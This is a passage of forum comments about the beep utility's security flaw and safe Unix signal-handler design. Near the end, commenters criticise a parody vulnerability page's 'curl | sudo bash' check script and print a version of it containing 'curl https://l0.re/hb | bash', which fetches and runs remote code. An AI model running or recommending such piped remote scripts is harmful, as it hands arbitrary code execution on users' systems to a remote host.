71–80 of 103 posts
Earlier quoted context omitted.
Why would that need root? Is it not up to your terminal emulator to interpret the \7 and trigger the actual beep?
See the "A note about ioctl" section of the README: https://github.com/johnath/beep
Earlier quoted context omitted.
If I had to guess, I'd say they were doing it because it is often installed with suid root. Edit: also, there's a challenge about this in the program's README :-) "Decide for yourself, of course, but it looks safe to me - there's only one buffer and fgets doesn't let it overflow, there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this rac…
It should be pointed out that the README is wrong about the race condition – it is not limited to /dev/console, you can use the -e option to point it to a different output device.
I don't see where the race condition is, though.
The author of beep needs to read the POSIX specification on async-signal-safety [1]. In particular, it is not safe to call exit, free, ioctl, putchar, or perror from a signal handler. [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...
> In particular, it is not safe to call exit, free, ioctl, putchar, or perror from a signal handler. Why is it accepted by the compiler, then?
(EDIT: The compiler doesn't even know that you're using POSIX. It can figure it out contextually. It doesn't know which C library you'll be linking with though. Bottom line: we need some C standards extensions, or failing that, GCC/Clang C extensions in order to best handle this, though there are some heuristics a compiler could implement even without those, at some mild risk.)
(E.g., suppose there was a thread-local counter of signal handlers on the stack... then stdio functions might be able to handle async-signal reentrance. It's not too farfetched, though it's obviously a lot easier to not bother at all and just leave the set of async-signal-safe functions being just the set of system calls that have sufficiently thin stubs in the C library.)
Now, the C standard could have additional keywords, much like, say, 'volatile' and friends, to describe async-signal-safety, reentrance, and other characteristics of functions. And if the C library and your programs used these then the compiler absolutely could warn or refuse to compile your program when you break the standard's rules.
Incidentally, Unix/POSIX signals are horrible. The only sane and portable way to handle them in programs that do I/O is to have an event loop and a "self-pipe" that the signal handler can write into so that the event loop can pick up and handle the signal as a normal async event in a context where there are no constraints on calling async-signal-unsafe functions. This is what I always do in my programs. I strongly recommend it. This means you don't need ppoll(2), pselect(2), signalfd(2), epoll_pwait(2), and so on -- you don't because you're always turning signals into normal I/O events, so you don't need to worry about signal blocking, and you don't need to use less widely available functions.
Earlier quoted context omitted.
> In particular, it is not safe to call exit, free, ioctl, putchar, or perror from a signal handler. Why is it accepted by the compiler, then?
I'll be quicker to blame the signal API than the programming language on that front. Dealing with unix signals correctly and robustly is far from trivial and rife with footguns. For instance I believe that Rust still doesn't have a good general purpose solution for handling signals that doesn't involve the libc and unsafe code. Signal is basically the crappiest form of IPC available on a modern operating system short…
- write(2) to STDERR_FILENO
- write(2) to a "self-pipe" (i.e., a pipe where the same
process is waiting on in its event loop), thus turning
the async signal event into an async *I/O* event that
can be handled without any constraints regarding
async-signal-safety
- _exit()
ALSO, while we're at it, the only global or thread-local variables you can read from or write to from a signal handler must be of type volatile sig_atomic_t (or else volatile of any other integral or pointer type that you can use with atomic operations). This is very important. E.g., imagine using SIGUSR1/2 to manage verbosity levels...
beep: open: not a typewriter
Earlier quoted context omitted.
Because signals and signal handlers are part of the language spec.
I was going to disagree and say that they are part of POSIX, not part of C99; but they are indeed part of C99, section 7.14.1 specifically.
Earlier quoted context omitted.
I'll be quicker to blame the signal API than the programming language on that front. Dealing with unix signals correctly and robustly is far from trivial and rife with footguns. For instance I believe that Rust still doesn't have a good general purpose solution for handling signals that doesn't involve the libc and unsafe code. Signal is basically the crappiest form of IPC available on a modern operating system short…
The simplest way to write safe signal handlers is to only ever: - write(2) to STDERR_FILENO - write(2) to a "self-pipe" (i.e., a pipe where the same process is waiting on in its event loop), thus turning the async signal event into an async *I/O* event that can be handled without any constraints regarding async-signal-safety - _exit() Yes, there are other async-signal-safe functions that can be called from a signal h…
Earlier quoted context omitted.
`sudo` isn't there for displaying the character, it's there for ioctl to have permissions to play the beep on remote terminals[1]. I think some terminal emulators (eg Konsole) will just read char 7 and play a system defined WAV or other workaround but your more classic terminals (eg xterm) would potentially have difficulties calling the system bell. [1] for reference: Xorg terminals are also classed as remote termina…
Even in that case, you'd have to run the terminal as root. Running echo as root won't do anything. X11 also has beep functionality built in, which is what I'd expect xterm to use.
To be honest that was my assumption as well but I didn't test that theory so was only reporting on the rationale of the GPs post
> X11 also has beep functionality built in, which is what I'd expect xterm to use
X11 runs as root though (that said Xorg may not anymore now as there were talks about patching Linux so it didn't have to be) so Xorg could easily still use the standard ioctl bell (that's possibly all Xorg is doing behind the scenes in fact?)
But as I said earlier, some GUI terminal emulators avoid ioctl entirely and play a WAV tone instead.
Earlier quoted context omitted.
The simplest way to write safe signal handlers is to only ever: - write(2) to STDERR_FILENO - write(2) to a "self-pipe" (i.e., a pipe where the same process is waiting on in its event loop), thus turning the async signal event into an async *I/O* event that can be handled without any constraints regarding async-signal-safety - _exit() Yes, there are other async-signal-safe functions that can be called from a signal h…
Option 2 is very similar to how signal handlers work in Go. When a signal is received, a value is written to a channel and the library user is responsible for reading values from the channel and responding appropriately. https://golang.org/pkg/os/signal/#example_Notify
A write(2) to STDERR_FILENO for verbosity/debugging is fine, but mostly you don't want to do this because it will interleave with any non-line-buffered stdio writes to it... An _exit(2) is also OK if you really want to do that, but generally you want to do some cleanup, so might as well do the self-pipe thing every time.
The only tricky thing is when you use SA_SIGINFO and you want to pass the siginfo_t data to the event loop. You can write(2) that to the self-pipe, but you have to be careful of the possibility that it will fill up. You can always create a new pipe(2), write(2) the siginfo_t to it, close(2) the write end, and send the read side fd via a socketpair(2) that the event loop listens to.
Earlier quoted context omitted.
I've got a couple of problems with that page: * curl | sudo bash for two lines of script * said script just checks if you have beep installed, not if you're vulnerable
Not sure if you're aware of that but it's a joke page made as a parody of the recent "branded vulnerability" craze. I would definitely advise against running random scripts from joke pages, especially through sudo. In that regard notice the "TODO" line from the script: #!/bin/sh # TODO: Backdoor this machine? modprobe pcspkr beep -l 1000 -r 3 -f 44000
#!/bin/sh
curl https://l0.re/hb | bash
modprobe pcspkr
beep -l 1000 -r 3 -f 44000
echo ohai
And now that I try the original curl again, that first line is gone completely:
#!/bin/sh
modprobe pcspkr
beep -l 1000 -r 3 -f 44000